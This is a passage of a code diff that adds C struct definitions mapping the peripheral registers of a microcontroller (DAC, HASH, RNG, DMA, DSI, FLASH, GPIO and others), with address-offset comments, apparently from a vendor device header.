TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief DSI Controller + */ +typedef struct +{ + __IO uint32_t VR; /*!< DSI Host Version Register, Address offset: 0x00 */ + __IO uint32_t CR; /*!< DSI Host Control Register, Address offset: 0x04 */ + __IO uint32_t CCR; /*!< DSI HOST Clock Control Register, Address offset: 0x08 */ + __IO uint32_t LVCIDR; /*!< DSI Host LTDC VCID Register, Address offset: 0x0C */ + __IO uint32_t LCOLCR; /*!< DSI Host LTDC Color Coding Register, Address offset: 0x10 */ + __IO uint32_t LPCR; /*!< DSI Host LTDC Polarity Configuration Register, Address offset: 0x14 */ + __IO uint32_t LPMCR; /*!< DSI Host Low-Power Mode Configuration Register, Address offset: 0x18 */ + uint32_t RESERVED0[4]; /*!< Reserved, 0x1C - 0x2B */ + __IO uint32_t PCR; /*!< DSI Host Protocol Configuration Register, Address offset: 0x2C */ + __IO uint32_t GVCIDR; /*!< DSI Host Generic VCID Register, Address offset: 0x30 */ + __IO uint32_t MCR; /*!< DSI Host Mode Configuration Register, Address offset: 0x34 */ + __IO uint32_t VMCR; /*!< DSI Host Video Mode Configuration Register, Address offset: 0x38 */ + __IO uint32_t VPCR; /*!< DSI Host Video Packet Configuration Register, Address offset: 0x3C */ + __IO uint32_t VCCR; /*!< DSI Host Video Chunks Configuration Register, Address offset: 0x40 */ + __IO uint32_t VNPCR; /*!< DSI Host Video Null Packet Configuration Register, Address offset: 0x44 */ + __IO uint32_t VHSACR; /*!< DSI Host Video HSA Configuration Register, Address offset: 0x48 */ + __IO uint32_t VHBPCR; /*!< DSI Host Video HBP Configuration Register, Address offset: 0x4C */ + __IO uint32_t VLCR; /*!< DSI Host Video Line Configuration Register, Address offset: 0x50 */ + __IO uint32_t VVSACR; /*!< DSI Host Video VSA Configuration Register, Address offset: 0x54 */ + __IO uint32_t VVBPCR; /*!< DSI Host Video VBP Configuration Register, Address offset: 0x58 */ + __IO uint32_t VVFPCR; /*!< DSI Host Video VFP Configuration Register, Address offset: 0x5C */ + __IO uint32_t VVACR; /*!< DSI Host Video VA Configuration Register, Address offset: 0x60 */ + __IO uint32_t LCCR; /*!< DSI Host LTDC Command Configuration Register, Address offset: 0x64 */ + __IO uint32_t CMCR; /*!< DSI Host Command Mode Configuration Register, Address offset: 0x68 */ + __IO uint32_t GHCR; /*!< DSI Host Generic Header Configuration Register, Address offset: 0x6C */ + __IO uint32_t GPDR; /*!< DSI Host Generic Payload Data Register, Address offset: 0x70 */ + __IO uint32_t GPSR; /*!< DSI Host Generic Packet Status Register, Address offset: 0x74 */ + __IO uint32_t TCCR[6]; /*!< DSI Host Timeout Counter Configuration Register, Address offset: 0x78-0x8F */ + uint32_t RESERVED1; /*!< Reserved, 0x90 */ + __IO uint32_t CLCR; /*!< DSI Host Clock Lane Configuration Register, Address offset: 0x94 */ + __IO uint32_t CLTCR; /*!< DSI Host Clock Lane Timer Configuration Register, Address offset: 0x98 */ + __IO uint32_t DLTCR; /*!< DSI Host Data Lane Timer Configuration Register, Address offset: 0x9C */ + __IO uint32_t PCTLR; /*!< DSI Host PHY Control Register, Address offset: 0xA0 */ + __IO uint32_t PCONFR; /*!< DSI Host PHY Configuration Register, Address offset: 0xA4 */ + __IO uint32_t PUCR; /*!< DSI Host PHY ULPS Control Register, Address offset: 0xA8 */ + __IO uint32_t PTTCR; /*!< DSI Host PHY TX Triggers Configuration Register, Address offset: 0xAC */ + __IO uint32_t PSR; /*!< DSI Host PHY Status Register, Address offset: 0xB0 */ + uint32_t RESERVED2[2]; /*!< Reserved, 0xB4 - 0xBB */ + __IO uint32_t ISR[2]; /*!< DSI Host Interrupt & Status Register, Address offset: 0xBC-0xC3 */ + __IO uint32_t IER[2]; /*!< DSI Host Interrupt Enable Register, Address offset: 0xC4-0xCB */ + uint32_t RESERVED3[3]; /*!< Reserved, 0xD0 - 0xD7 */ + __IO uint32_t FIR[2]; /*!< DSI Host Force Interrupt Register, Address offset: 0xD8-0xDF */ + uint32_t RESERVED4[5]; /*!< Reserved, 0xE0 - 0xF3 */ + __IO uint32_t DLTRCR; /*!< DSI Host Data Lane Timer Read Configuration Register, Address offset: 0xF4 */ + uint32_t RESERVED5[2]; /*!< Reserved, 0xF8 - 0xFF */ + __IO uint32_t VSCR; /*!< DSI Host Video Shadow Control Register, Address offset: 0x100 */ + uint32_t RESERVED6[2]; /*!< Reserved, 0x104 - 0x10B */ + __IO uint32_t LCVCIDR; /*!< DSI Host LTDC Current VCID Register, Address offset: 0x10C */ + __IO uint32_t LCCCR; /*!< DSI Host LTDC Current Color Coding Register, Address offset: 0x110 */ + uint32_t RESERVED7; /*!< Reserved, 0x114 */ + __IO uint32_t LPMCCR; /*!< DSI Host Low-power Mode Current Configuration Register, Address offset: 0x118 */ + uint32_t RESERVED8[7]; /*!< Reserved, 0x11C - 0x137 */ + __IO uint32_t VMCCR; /*!< DSI Host Video Mode Current Configuration Register, Address offset: 0x138 */ + __IO uint32_t VPCCR; /*!< DSI Host Video Packet Current Configuration Register, Address offset: 0x13C */ + __IO uint32_t VCCCR; /*!< DSI Host Video Chunks Current Configuration Register, Address offset: 0x140 */ + __IO uint32_t VNPCCR; /*!< DSI Host Video Null Packet Current Configuration Register, Address offset: 0x144 */ + __IO uint32_t VHSACCR; /*!< DSI Host Video HSA Current Configuration Register, Address offset: 0x148 */ + __IO uint32_t VHBPCCR; /*!< DSI Host Video HBP Current Configuration Register, Address offset: 0x14C */ + __IO uint32_t VLCCR; /*!< DSI Host Video Line Current Configuration Register, Address offset: 0x150 */ + __IO uint32_t VVSACCR; /*!< DSI Host Video VSA Current Configuration Register, Address offset: 0x154 */ + __IO uint32_t VVBPCCR; /*!< DSI Host Video VBP Current Configuration Register, Address offset: 0x158 */ + __IO uint32_t VVFPCCR; /*!< DSI Host Video VFP Current Configuration Register, Address offset: 0x15C */ + __IO uint32_t VVACCR; /*!< DSI Host Video VA Current Configuration Register, Address offset: 0x160 */ + uint32_t RESERVED9; /*!< Reserved, 0x164 */ + __IO uint32_t FBSR; /*!< DSI Host FIFO and Buffer Status Register, Address offset: 0x168 */ + uint32_t RESERVED10[165];/*!< Reserved, 0x16C - 0x3FF */ + __IO uint32_t WCFGR; /*!< DSI Wrapper Configuration Register, Address offset: 0x400 */ + __IO uint32_t WCR; /*!< DSI Wrapper Control Register, Address offset: 0x404 */ + __IO uint32_t WIER; /*!< DSI Wrapper Interrupt Enable Register, Address offset: 0x408 */ + __IO uint32_t WISR; /*!< DSI Wrapper Interrupt and Status Register, Address offset: 0x40C */ + __IO uint32_t WIFCR; /*!< DSI Wrapper Interrupt Flag Clear Register, Address offset: 0x410 */ + uint32_t RESERVED11; /*!< Reserved, 0x414 */ + __IO uint32_t WPCR[1]; /*!< DSI Wrapper PHY Configuration Register 0, Address offset: 0x418 */ + uint32_t RESERVED12[5]; /*!< Reserved, 0x41C - 0x42F */ + __IO uint32_t WRPCR; /*!< DSI Wrapper Regulator and PLL Control Register, Address offset: 0x430 */ + uint32_t WPTR; /*!< DSI Wrapper PLL tuning register, Address offset: 0x434 */ + uint32_t RESERVED13[244];/*!< Reserved, 0x43C - 0x804 */ + __IO uint32_t BCFGR; /*!< DSI Bias Configuration Register, Address offset: 0x808 */ + uint32_t RESERVED14[254];/*!< Reserved, 0x80C - 0xC00 */ + __IO uint32_t DPCBCR; /*!< D-PHY clock band control register, Address offset: 0xC04 */ + uint32_t RESERVED15[11]; /*!< Reserved, 0xC08 - 0xC30 */ + __IO uint32_t DPCSRCR; /*!< D-PHY clock slew rate control register, Address offset: 0xC34 */ + uint32_t RESERVED16[9]; /*!< Reserved, 0xC38 - 0xC58 */ + __IO uint32_t DPDL0HSOCR; /*!< D-PHY data Lane 0 HS offset control register, Address offset: 0x0C5C */ + __IO uint32_t DPDL0LPXOCR; /*!< D-PHY data Lane 0 HS LPX offset control register, Address offset: 0x0C60 */ + uint32_t RESERVED17[3]; /*!< Reserved, 0xC64-0xC6C */ + __IO uint32_t DPDL0BCR; /*!< D-PHY data Lane0 band control register, Address offset: 0x0C70 */ + uint32_t RESERVED18[11]; /*!< Reserved, 0xC74 - 0xC9C */ + __IO uint32_t DPDL0SRCR; /*!< D-PHY data Lane0 slew rate control register, Address offset: 0x0CA0 */ + uint32_t RESERVED19[20]; /*!< Reserved, 0xCA4 - 0xD04 */ + __IO uint32_t DPDL1HSOCR; /*!< D-PHY data Lane 1 HS offset control register, Address offset: 0x0CF4 */ + __IO uint32_t DPDL1LPXOCR; /*!< D-PHY data Lane 1 HS LPX offset control register, Address offset: 0x0CF8 */ + uint32_t RESERVED20[3]; /*!< Reserved, 0xCF8 - 0xD04 */ + __IO uint32_t DPDL1BCR; /*!< D-PHY data Lane1 band control register, Address offset: 0x0D08 */ + uint32_t RESERVED21[11]; /*!< Reserved, 0xD0C - 0xD34 */ + __IO uint32_t DPDL1SRCR; /*!< D-PHY data Lane1 slew rate control register, Address Offset: 0x0D38 */ +} DSI_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 */ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address 